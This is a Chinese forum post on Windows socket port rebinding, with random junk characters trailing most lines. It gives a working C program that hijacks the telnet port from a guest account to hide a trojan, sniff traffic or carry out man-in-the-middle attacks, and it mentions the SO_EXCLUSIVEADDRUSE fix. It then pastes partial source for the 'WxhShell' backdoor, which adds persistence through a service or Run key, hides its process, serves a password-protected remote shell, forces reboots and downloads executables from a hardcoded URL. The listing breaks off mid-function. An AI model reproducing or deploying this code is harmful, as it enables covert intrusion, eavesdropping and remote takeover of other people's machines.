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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4uX|2nJ2!;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {0(:5%  
^ ,cwm:B@  
  saddr.sin_family = AF_INET; t| cL!  
If*+yr|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?'8(']/  
[^D~T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7{BTtUMAC  
&^7^7:Y=?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =xs"<Q*w>  
:>q*#vlb  
  这意味着什么?意味着可以进行如下的攻击: i"_@iN0N  
\@8.BCWK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m) q e  
zbL8 pp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `;c{E%qeq  
2=%R>&]*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )IFFtU~,  
au;ZAXM|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (DnrJ.QU}t  
2?}5U)Hg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \RF{ITV$kD  
xb (Cd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;1MRBk,  
|19zjhl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C f(g  
dI%#cf1  
  #include u}0U!  
  #include a W9_[#z5  
  #include 0|chRX  
  #include    dR GgiQO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EpCT !e  
  int main()  %>z)Q  
  { l h]Q\  
  WORD wVersionRequested; hM NC]  
  DWORD ret; i.5?b/l0  
  WSADATA wsaData; #wS/QrRE  
  BOOL val; v?L`aj1ox  
  SOCKADDR_IN saddr; 0Q{^BgW  
  SOCKADDR_IN scaddr; Nu[0X  
  int err; q(s&2|  
  SOCKET s; l\DcXgD x  
  SOCKET sc; aWk1D.  
  int caddsize; w7e+~8|  
  HANDLE mt; mM;5UPbZ  
  DWORD tid;   zf.&E3Sn  
  wVersionRequested = MAKEWORD( 2, 2 ); '\wZKY VN  
  err = WSAStartup( wVersionRequested, &wsaData ); wgcKeTD9  
  if ( err != 0 ) { 2_C&p6VGj  
  printf("error!WSAStartup failed!\n"); G9AQIU%ii  
  return -1; %SC%#_7  
  } s;Sv@=\  
  saddr.sin_family = AF_INET; RA3!k&8?#  
   "V>p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 py%_XL=w,  
^77X?nDz=h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =;m;r!,K  
  saddr.sin_port = htons(23); ~\o hH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :p0<AU47  
  { ;0JK>c ]#  
  printf("error!socket failed!\n"); UC*\3:>'n  
  return -1; PCX X[N  
  } >!BZ>G2  
  val = TRUE; <c_'(   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Xo/0lT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) jA,| .P>  
  { `Qxdb1>mjY  
  printf("error!setsockopt failed!\n"); ATkx_1]KM-  
  return -1; ?5Q_G1H&  
  } T(q/$p&q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i7|sVz=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZB'ms[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~0T,_N  
?:c:D5N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *'\ xlsp#  
  { D]*<J"/]d  
  ret=GetLastError(); g"|/^G_6S  
  printf("error!bind failed!\n"); K['Gp>l  
  return -1; b6ui&Y8z  
  } 9 =zZ,dg  
  listen(s,2); hw)#TEt   
  while(1) O]-s(8Oo3  
  { ^w+)A;?W  
  caddsize = sizeof(scaddr); "iPX>{'En  
  //接受连接请求 uK5 C-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); mj|TWDcj+  
  if(sc!=INVALID_SOCKET) l<dtc[  
  { ^M7pCetjdW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^7-l<R[T  
  if(mt==NULL) i+4!nf{K  
  { p{W'[A{J .  
  printf("Thread Creat Failed!\n"); lL6W:Fq@(  
  break; !6pE0(V^+4  
  } /A"UV\H`f  
  } |>!tqgq  
  CloseHandle(mt); H?$gHZPI  
  } U "kD)\  
  closesocket(s); a@s@E  
  WSACleanup(); u3])_oj=  
  return 0; q-R'5p\C?|  
  }   tEjT$`6hp  
  DWORD WINAPI ClientThread(LPVOID lpParam) M#o'hc  
  { 4>}qdR1L4  
  SOCKET ss = (SOCKET)lpParam; =, G^GMi'  
  SOCKET sc; 4elA<<  
  unsigned char buf[4096]; [a!*m<  
  SOCKADDR_IN saddr; Z;[f,Oj  
  long num; N5jJ,iz  
  DWORD val; 0.lOSAq  
  DWORD ret; 9ELRn@5.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,l7',@6Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u7}C):@H  
  saddr.sin_family = AF_INET; ]m@p? A$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iJVm=0WS^  
  saddr.sin_port = htons(23); +_v#V9?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mz?1J4rt  
  { Fa-F`U@h(m  
  printf("error!socket failed!\n"); 1 ILA Utf)  
  return -1; ix!4s613w  
  } Z[G:  
  val = 100; (M nK \^Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qfa[KD)!aB  
  { o7 1f<&1  
  ret = GetLastError(); M TOZ:b  
  return -1; *wu|(t_ A  
  } C[s='v~}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C*&FApG  
  { S?e*<s9k  
  ret = GetLastError(); >@uFye$  
  return -1; 87q~ nk  
  } bC0DzBnM;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <0!)}O  
  { ,;~@t:!c  
  printf("error!socket connect failed!\n"); E%vT(Kz  
  closesocket(sc); I W5N^J  
  closesocket(ss); Dx>~^ ^<  
  return -1; *28:|blbL  
  } [E6ZmMB&  
  while(1) A`ScAzx5{  
  { uG{/yJeU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HrH! 'bd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #xfPobQ>il  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &l _NCo2  
  num = recv(ss,buf,4096,0); dA=T+u  
  if(num>0) t:yJ~En]=  
  send(sc,buf,num,0); tq&CJvJ4  
  else if(num==0) A_}6J,*u  
  break; 0S$6j-"  
  num = recv(sc,buf,4096,0); YJMaIFt  
  if(num>0) R(W}..U0R"  
  send(ss,buf,num,0); -,^Z5N#\|  
  else if(num==0) $@@@</VbP  
  break; -cL wjI  
  } L2{b~`UvP  
  closesocket(ss); <g'0q*qE  
  closesocket(sc); GRj#1OqL  
  return 0 ; hhcO ]*  
  } =}m'qy  
Ah Rvyj  
>@?`n}r|  
========================================================== B'!I{LC  
gib'f@i;  
下边附上一个代码,,WXhSHELL S/)yi  
= sh3&8  
========================================================== ~xU\%@I\  
Be~In~~  
#include "stdafx.h" [[' (,,r  
9 gWqs'  
#include <stdio.h> k5o{mWI b  
#include <string.h> 'NSfGC%7R  
#include <windows.h>  [kL`'yi  
#include <winsock2.h> +5qY*$dn  
#include <winsvc.h> V6 uh'2  
#include <urlmon.h> vG#,J&aW  
v#b(0G  
#pragma comment (lib, "Ws2_32.lib") -Gd@baV  
#pragma comment (lib, "urlmon.lib") rhj_cw  
N%fDgK  
#define MAX_USER   100 // 最大客户端连接数 9/$Cq  
#define BUF_SOCK   200 // sock buffer l }WvO]  
#define KEY_BUFF   255 // 输入 buffer !]2`dp\!  
9Z lfY1=  
#define REBOOT     0   // 重启 $3yn-'o'A  
#define SHUTDOWN   1   // 关机 GyLp&aa  
G}#p4 \/  
#define DEF_PORT   5000 // 监听端口 T/iZ"\(~w  
NXSjN~aG2  
#define REG_LEN     16   // 注册表键长度 `=19iAp.  
#define SVC_LEN     80   // NT服务名长度 'l6SL- <  
BT* {&'\/  
// 从dll定义API %hN7K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J{e`P;ND  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); { \ ]KYI0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lnv&fu`1P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xyyEaB  
UKzXz0  
// wxhshell配置信息 R7 ^f|/l  
struct WSCFG { qX:Y I3:,@  
  int ws_port;         // 监听端口 ]oizBa@?G  
  char ws_passstr[REG_LEN]; // 口令 RKD$'UWX  
  int ws_autoins;       // 安装标记, 1=yes 0=no mt}3/d  
  char ws_regname[REG_LEN]; // 注册表键名 <Xb$YB-c  
  char ws_svcname[REG_LEN]; // 服务名 |^C35 6M>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jYE ?wc+FT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z4wG]]Kh*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iE,/x^&,&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ GXi{9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - sL4tMP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !;E{D  
wH]Y1 m  
}; 6@-O#,]J  
LZ z]4Mf  
// default Wxhshell configuration ?v}S9z  
struct WSCFG wscfg={DEF_PORT, w<Ot0&&  
    "xuhuanlingzhe", KZ$^Q<d^  
    1, Hk@LHC  
    "Wxhshell", !]l;n Fd  
    "Wxhshell", g4}K6)@  
            "WxhShell Service", Nc:0opPM  
    "Wrsky Windows CmdShell Service", n |Q' >  
    "Please Input Your Password: ", 2aJ_[3p/h]  
  1, v?s%qb=T  
  "http://www.wrsky.com/wxhshell.exe", !n|4w$t"V  
  "Wxhshell.exe" e~PAi8B5  
    }; a 3C\?5  
*nlDN4Y[  
// 消息定义模块 `Tc"a_p9t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y%Tm `$^V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j6#Vwcr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8]&\FA8  
char *msg_ws_ext="\n\rExit."; _ pO1XM  
char *msg_ws_end="\n\rQuit."; CSlPrx2\  
char *msg_ws_boot="\n\rReboot..."; |Pq z0n=v  
char *msg_ws_poff="\n\rShutdown..."; ]:svR@E  
char *msg_ws_down="\n\rSave to "; O7z5,-  
{9XQ~t"m^  
char *msg_ws_err="\n\rErr!"; H&uh$y@  
char *msg_ws_ok="\n\rOK!"; f J+  
u+qj_Ej  
char ExeFile[MAX_PATH]; A9o"L.o)  
int nUser = 0; MQq!<?/  
HANDLE handles[MAX_USER]; {\55\e/C,  
int OsIsNt; aPm2\Sq$  
O:jaA3  
SERVICE_STATUS       serviceStatus; gb}>xO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C^7M>i  
?b xa k  
// 函数声明 >;+q,U}  
int Install(void); ] D+'Ao^'  
int Uninstall(void); `ZGKM>q`  
int DownloadFile(char *sURL, SOCKET wsh); T[%@B"  
int Boot(int flag); J=Hyoz+9  
void HideProc(void); X1o=rT  
int GetOsVer(void); 1ZO/R%[  
int Wxhshell(SOCKET wsl); >j)y7DSE  
void TalkWithClient(void *cs); Mi047-% (  
int CmdShell(SOCKET sock); nTCwLnX(O  
int StartFromService(void); qL~|bfN  
int StartWxhshell(LPSTR lpCmdLine); ZG8Xr "  
&VTO9d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4%5 +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k;Ask#rs  
rT';7>{g  
// 数据结构和表定义 {ZKXT8'  
SERVICE_TABLE_ENTRY DispatchTable[] = c|Fu6LF a  
{ ? u~?:a@K  
{wscfg.ws_svcname, NTServiceMain}, @P/6NMjZ^  
{NULL, NULL} FY"csZ  
}; |nmt /[  
;TulRx]EA  
// 自我安装 0N):8`dY  
int Install(void) I 8VCR8q  
{ WT jy"p*  
  char svExeFile[MAX_PATH]; NE+ ;<mW  
  HKEY key; z4 KKt&  
  strcpy(svExeFile,ExeFile); rkn'1M&u  
N `[ ?db-%  
// 如果是win9x系统,修改注册表设为自启动 Y7<(_p7  
if(!OsIsNt) { #sM*<2vj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DhN<e7c`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *H~&hs>k  
  RegCloseKey(key); 3M5wF6nY[[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  I}u&iV`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qkBCI,X_Y  
  RegCloseKey(key); GuKiNYI_  
  return 0; `NCH^)  
    } -ju}I  
  } U3BhoD#f\  
} 2#R8}\  
else { m.Ki4NUm  
lQ#='Jqfp  
// 如果是NT以上系统,安装为系统服务 !7Nz_d~n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W|\$}@>  
if (schSCManager!=0) Ca ?d8  
{ FTWjIa/[  
  SC_HANDLE schService = CreateService T9bUt|  
  ( g9gi7.'0  
  schSCManager, \ {;3'<  
  wscfg.ws_svcname, 6Cgc-KNbk  
  wscfg.ws_svcdisp, hkx(r5o  
  SERVICE_ALL_ACCESS, mb*|$ysPx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uMX\Y;N  
  SERVICE_AUTO_START, 7' Gk ip  
  SERVICE_ERROR_NORMAL, Z31a4O  
  svExeFile, w#{S=^`}  
  NULL, iC~ll!FA!  
  NULL, }ZJJqJ`*e  
  NULL, 3f(tb%pa5  
  NULL, pyp0SGCM:  
  NULL RKy!=#;17  
  ); J$i.^|hE/  
  if (schService!=0) Nf%/)Tk  
  { mX[J15  
  CloseServiceHandle(schService); {_UOS8j7  
  CloseServiceHandle(schSCManager); e*M-y C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,O_iSohS  
  strcat(svExeFile,wscfg.ws_svcname); 1 Q*AQYVY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JC iB;!y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fndbGbl8p  
  RegCloseKey(key); RaOLy \  
  return 0; ~L:H]_8F l  
    } =s&ycc;-5}  
  } F8|m i`f-  
  CloseServiceHandle(schSCManager); 2yV^'o)  
} P4fnBH4OQ  
} wY3| 5kbDj  
+#9 4 X)*  
return 1; E_\V^  
} w9675D+  
V/BU(`~i  
// 自我卸载 pj Md  
int Uninstall(void) f<M!L> +M6  
{ r9n:[A&HE  
  HKEY key; -Eoq#ULvR  
L| ;WE=  
if(!OsIsNt) { eIQ@){lJ-]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eU\XAN#@  
  RegDeleteValue(key,wscfg.ws_regname); *z&hXYm  
  RegCloseKey(key); +*wr=9>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m]Mm (7v(  
  RegDeleteValue(key,wscfg.ws_regname); 8khIy-9-'  
  RegCloseKey(key); -PTfsQk  
  return 0; } ^2'@y!(  
  } 1 0^FfwRfM  
} a#a n+JY3  
} 5,?^SK|'x  
else { B`:l;<&jX  
f o idneus  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TQth"Cv2:  
if (schSCManager!=0) cp6I]#X  
{ W&v|-#7=6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o{3>n" \w3  
  if (schService!=0) 0wt4C% .0  
  { n?"("Fiw  
  if(DeleteService(schService)!=0) { *t_Q5&3L+U  
  CloseServiceHandle(schService); pA6A*~QE  
  CloseServiceHandle(schSCManager); QW_BT ^d"  
  return 0; 49YN@ PXC  
  } *Tr9pq%m  
  CloseServiceHandle(schService); <GLn!~Px@5  
  } A Wd,qldv  
  CloseServiceHandle(schSCManager); Y|buQQ|  
} A=wG};%_  
} d>V#?1$h  
F?t;bV  
return 1;  3Hi8=*  
} 6FY.kN\  
lIPz "  
// 从指定url下载文件 EI496bsRHm  
int DownloadFile(char *sURL, SOCKET wsh) jZ''0Lclpc  
{ /0Mt-8[  
  HRESULT hr; &@=W+A=c~  
char seps[]= "/"; J?Oeuk~[D  
char *token; qG +PqK;  
char *file; J~C=o(r  
char myURL[MAX_PATH]; U$ ;UW3-  
char myFILE[MAX_PATH]; U+zntB  
V[n,fEPBr  
strcpy(myURL,sURL); ja6V*CWb  
  token=strtok(myURL,seps); ;SX~u*`R  
  while(token!=NULL) !+]KxB   
  { eJeL{`NS  
    file=token; MG~bDM4  
  token=strtok(NULL,seps); rQosI:$  
  } 3-'3w,  
Jhfw$DF  
GetCurrentDirectory(MAX_PATH,myFILE); E6z&pM8<8  
strcat(myFILE, "\\"); .y lvJ$  
strcat(myFILE, file); [s{[ .0P]+  
  send(wsh,myFILE,strlen(myFILE),0); txE+A/>i9  
send(wsh,"...",3,0); :(@P *"j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )_Z^oH ]<  
  if(hr==S_OK) ,T$ GOjt  
return 0; 3R-5&!i  
else M6GiohI_"P  
return 1; Hg$7[um  
).AMfBQ=;  
} "Q{ l])N  
BWNI|pq)v  
// 系统电源模块 SM8_C!h:  
int Boot(int flag) >GLoeCRNu  
{ 6OoOkNWF  
  HANDLE hToken; UZ#oaD8H6  
  TOKEN_PRIVILEGES tkp; x2'pl (^  
lQEsa45  
  if(OsIsNt) { =T\=,B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }kP<zvAaw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (][-()YV  
    tkp.PrivilegeCount = 1; x=+>J$~Pb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xP/q[7>#Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cy)N hgz  
if(flag==REBOOT) { CD%Cb53  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g> ~+M  
  return 0; vn!3Z!dm(  
} jw`05rw:  
else { #Ge_3^'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i,S1|R  
  return 0; xaVn.&Wl  
} r?!:%L  
  } BC\W`K  
  else { "eqzn KT%u  
if(flag==REBOOT) { 'GT^araz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '#=0q  
  return 0; %V+"i_{m  
} :HwdXhA6  
else { b%vIaP|]B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sc/$ 2gSG  
  return 0; <XQwu*_\  
} (m6V)y  
} [cco/=c  
lcy<taNu)  
return 1; 3z u6#3^  
} 3 ^K#\*P  
Ga-cto1Y  
// win9x进程隐藏模块 /'5d0' ,M  
void HideProc(void) kD?@nx>  
{ P|Gwt&  
V1pBKr)v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *HUXvX|-%  
  if ( hKernel != NULL ) 79D~Mau#  
  { t 7o4 aBl"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZO/u3&gU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e([>sAx!1  
    FreeLibrary(hKernel); B\e*-:pq>  
  } fGqX dlP  
AI|+*amTd  
return; p$qk\efv*4  
} H%gAgXHn  
UoKVl-  
// 获取操作系统版本 tfZ@4%'  
int GetOsVer(void) qw?(^uZNW  
{ =J)<Nx.gA  
  OSVERSIONINFO winfo; wDGb h=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GZ,MC?W  
  GetVersionEx(&winfo); <U1T_fiBoc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1dw{:X=j  
  return 1; MfHOn YV  
  else 6@t&  
  return 0; 2QM{e!9  
} FO%pdLs,  
s\pukpf@  
// 客户端句柄模块 p6K~b  
int Wxhshell(SOCKET wsl) ?|+e*{4k  
{ 2[HPU M2>  
  SOCKET wsh; GK!@|Kk8q7  
  struct sockaddr_in client; T^(W _S  
  DWORD myID; J"LLj*,0"  
Sk/@w[  
  while(nUser<MAX_USER) xPPA8~Dm*  
{ Y0T:%  
  int nSize=sizeof(client); af %w|M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AU}kIm_+  
  if(wsh==INVALID_SOCKET) return 1; VsAJ2g9L  
d&raHF*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5RFro^S9E  
if(handles[nUser]==0) v_Sa0}K9  
  closesocket(wsh); @j_o CDS  
else !Q15qvRS  
  nUser++; jH!;}q  
  } mL2J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #qY gQ<TM!  
s_XCKhN:  
  return 0; `bfUP s  
} wjwCs`  
U4fv$gV  
// 关闭 socket !p!Qg1O6o  
void CloseIt(SOCKET wsh) j1%8r*Jj  
{ |oLGc!i  
closesocket(wsh); $rmxwxz&W:  
nUser--; k6&~)7 -f  
ExitThread(0);  Ux*xz|^  
} UMe?nAC  
sTl^j gV7j  
// 客户端请求句柄 S.~L[iLc  
void TalkWithClient(void *cs) #e-K It  
{ dGm%If9P  
$f0u  
  SOCKET wsh=(SOCKET)cs; 19qH WU^0V  
  char pwd[SVC_LEN]; 2HmK['(  
  char cmd[KEY_BUFF]; m+;U,[%[*E  
char chr[1]; n=V|NrU  
int i,j; ''@Tke3IG6  
} &+]UGv  
  while (nUser < MAX_USER) { V 97ORI  
Mf#@8"l  
if(wscfg.ws_passstr) { [*p;+&+/ZM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oo\^}jb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jI7 x<=  
  //ZeroMemory(pwd,KEY_BUFF); 'g)f5n a[  
      i=0; :?\29j#*V  
  while(i<SVC_LEN) { iYgVSVNg  
l`zh Kj  
  // 设置超时 d{JI] !  
  fd_set FdRead; <<u]WsW{C  
  struct timeval TimeOut; (m:Q'4Ep  
  FD_ZERO(&FdRead); ) hs&?: )  
  FD_SET(wsh,&FdRead); T&dNjx  
  TimeOut.tv_sec=8; EQ,`6UT>  
  TimeOut.tv_usec=0; _>\33V-?b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ElUFne=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qsW&kW~  
 ~d eS*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); syW[uXNLZ  
  pwd=chr[0]; x5uz$g  
  if(chr[0]==0xd || chr[0]==0xa) { X^N6s"2  
  pwd=0; J FnE{  
  break; ocWl]h].  
  } a<q9~QS  
  i++; ,--#3+]XU  
    } f}(4v1 T  
s(3u\#P  
  // 如果是非法用户,关闭 socket m_oUl(pk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Sfu8k>):  
} /C Xg$%\  
-LRx}Mb9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,.p 36ZLP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ve%ua]qA  
Mb2a;s  
while(1) { I F6$@Q  
8|)!E`TKSV  
  ZeroMemory(cmd,KEY_BUFF); g $Y]{VM.J  
d.~ns4bt9  
      // 自动支持客户端 telnet标准   A?#i{R  
  j=0; xjbI1qCfe  
  while(j<KEY_BUFF) { 9 nc_$H{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .:}<4;Qz94  
  cmd[j]=chr[0]; Yq00<kIDJ  
  if(chr[0]==0xa || chr[0]==0xd) { S1^/W-yoc~  
  cmd[j]=0; }Y.YJXum  
  break; T90O.]S  
  } *W\3cS  
  j++; qfl!>  
    } KJoa^e;~  
,\"x#Cc f  
  // 下载文件 V[kJ;YLPN  
  if(strstr(cmd,"http://")) { i4D]>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 51|s2+GG  
  if(DownloadFile(cmd,wsh)) XLpn3sX$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;")C,CwQ  
  else \-]Jm[]^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GBb8 }lx  
  } P_0X+Tz  
  else { Y QC.jnb2  
'6qH@r4Z<  
    switch(cmd[0]) { wsB-( 0-  
  {l$)X  
  // 帮助 A4@z+ebb l  
  case '?': { zqdkt `  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); drjNK!XL@  
    break; ^2Cqy%x-  
  } 9D\E0YG X/  
  // 安装 98R/ ^\  
  case 'i': { D? %*L  
    if(Install()) Q" h]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cI8\d 4/py  
    else ;~:Z~8+{c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,^c-}`!K  
    break; Uz_ob9l<#H  
    } D.{vuftu  
  // 卸载 ==?wG!v2h  
  case 'r': { [DjlkA/Zg  
    if(Uninstall()) 3l~7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }GURq#  
    else !O!:=wq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); paV1o>_Rd  
    break; vo }4N[]Sb  
    } Kn$E{F\  
  // 显示 wxhshell 所在路径 <`SA >P  
  case 'p': { 83V\O_7j  
    char svExeFile[MAX_PATH]; #pAN   
    strcpy(svExeFile,"\n\r"); 81|[Y'f  
      strcat(svExeFile,ExeFile); &&<l}E  
        send(wsh,svExeFile,strlen(svExeFile),0); 1N$OXLu  
    break; { /!ryOA65  
    } d1g7:s9$0  
  // 重启 (G+)v[f  
  case 'b': { :^?-bppYW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tE-bHu370  
    if(Boot(REBOOT)) ]#shuZ##>0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ky oA Z  
    else { 2<J2#}+ \  
    closesocket(wsh); $bMmyDw  
    ExitThread(0); ck `td%  
    } YR\(*LJL  
